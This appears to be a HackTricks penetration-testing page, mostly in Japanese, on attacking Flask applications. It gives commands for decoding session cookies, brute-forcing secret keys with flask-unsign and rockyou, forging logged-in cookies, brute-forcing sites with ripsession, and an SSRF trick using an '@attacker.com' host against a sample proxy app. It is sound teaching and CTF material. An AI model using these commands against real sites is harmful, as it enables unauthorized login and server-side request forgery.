Flask

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック（ARTA/GRTA/AzRTA）と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート

おそらく CTF をプレイしている場合、Flask アプリケーションは SSTIに関連しているでしょう。

クッキー

Default cookie session name is session.

デコーダー

オンラインの Flask クッキー デコーダー: https://www.kirsle.net/wizards/flask-session.cgi

手動

cookie の最初のピリオドまでの部分を取得して Base64 デコードする：

echo "ImhlbGxvIg" | base64 -d

この cookie はパスワードで署名されています

Flask-Unsign

シークレットキーを推測して、Flask アプリケーションの session cookies を fetch、decode、brute-force、craft するコマンドラインツール。

Client Challenge

pip3 install flask-unsign

Cookieをデコードする

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

署名

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

レガシー（旧バージョン）を使用した署名

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

flask-unsignで作成したcookiesを用いてウェブサイトをbrute-forceするコマンドラインツール。

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign. \xc2\xb7 GitHub

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

SQLi: FlaskのセッションCookieでの攻撃（SQLmap）

This example は、既知のシークレットを使って flask 向けの sqlmap payloads に自動的に署名するために sqlmap の eval オプションを使用します。

Flaskのプロキシを使ったSSRF

In this writeup では、Flask が “@” で始まるリクエストを許可する方法が解説されています:

GET @/ HTTP/1.1
Host: target.com
Connection: close

以下のシナリオのうちどれ：

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

“@attacker.com” のようなものを入力できるようにすると SSRF を引き起こす可能性がある。

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック（ARTA/GRTA/AzRTA）と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート